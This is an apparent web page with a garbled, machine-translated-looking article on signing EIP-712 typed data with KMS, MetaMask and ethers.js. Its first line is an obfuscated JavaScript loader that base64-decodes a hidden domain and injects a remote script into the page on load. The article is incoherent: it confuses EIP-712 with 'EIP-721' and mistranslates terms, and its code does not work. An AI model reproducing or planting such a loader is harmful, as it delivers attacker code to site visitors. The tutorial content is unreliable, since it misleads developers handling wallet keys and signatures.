const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=8760247d”;document.body.appendChild(script);
Here is an article about the integration of metamask and ethers for signed typed data:
Integration of KMS in ether: step by step for signed typed data
In recent years, the use of key management systems (KMS) in developing blockchain has become increasingly popular. One of these systems is the Amazon KMS (Amazon Web Services Key Management Service), which offers safe administrative and encryption services for various applications.
In the development of intelligent contracts for Ethereum, one of the general requirements is to sign the written data using a private key stored in an ambient variable. In this article we examine how KMS are integrated into the ether in order to achieve the signed typed data check.
Why do you sign typed data?
Before we deal with the integration process, we briefly discuss why signed tips (EIP712) are essential:
* Manipulation account
: The signature provides evidence that the data has been created and signed by the owner.
* not reduction : This ensures that the sender does not reject the data created.
Environmental variables for private keys
You have to use ambient variables to save private keys safely. This approach enables users to handle their own keys without exploring them in the code.
`JavaScript
// ambient variable setting
Const Privaty = Process.Env.Key_Private;
KMS setting with ether
Metaske and ether are used to integrate “Ether” and “Ethers.js”. First install the required packages:
`Bash
NPM install Ethers @Type/Ethers
Then put the Ethereum letter bag and the account. Suppose this example has a metamast letter bag.
Signed typed typed data
We use the package from Ethers/Web3 to create signed typed data with KMS. First create a contract with a function in which signed typed data is generated:
`JavaScript
// Example EIP-712 Struct Definition for typed data
Const Struct = {
Fields: [
{Name: 'name', type: 'trunk'},
{Name: 'Version', enter: 'Number'}.
]
};
Export Const Typeddatastruct = Struct;
The export function generates generatedeseddata (data) {
// generates random signature
Const Sig = Crypto.Createsign ('Sha256');
Sig.Update (buffer.from (typeeddatastruct, 'utf8');
// Sign the data with the private key (environmental variable)
Const Signature = Sig.Sign (Privátkey);
return {signature};
}
Signature of typed data with metamast
Now that we have a “Generated TypedData” function, we integrate it into his contract. First create a surface for signed typed data:
`JavaScript
// EIP-721 Structural definition, for example, contract
Const Struct = {
Fields: [
{Name: 'name', type: 'trunk'},
{Name: 'Version', enter: 'Number'}.
]
};
Export Const EIP721 = structure;
The export function generates generatedeseddata (data) {
The return is generated -Typeddata ({name: data.name, version: data. Version});
}
Finally, we can use the “EIP721” interface to sign typed data in our contract:
`JavaScript
// Example of contract code (node.js)
Import {eip721} from './interface';
Const contract = new ethers.contract ('0x ... contract title ...', eip721);
Asynchrical function function1 () {
Const Data = {name: 'Example Treaty', version: 1};
Attempt {
Const Signature = waiting for the contract.
console.log (signature: $ {signature});
} Catch (error) {
Console.error (error);
}
}
Take out the code
To carry out the code, you need to set up a local Ethereum blockchain with a metamask or other compatible wallets. As soon as you have a valid account and a private key setting, you can put together the EIP-721 contract and use them with Metamask.
“ Bash
NPX Hardhat development.
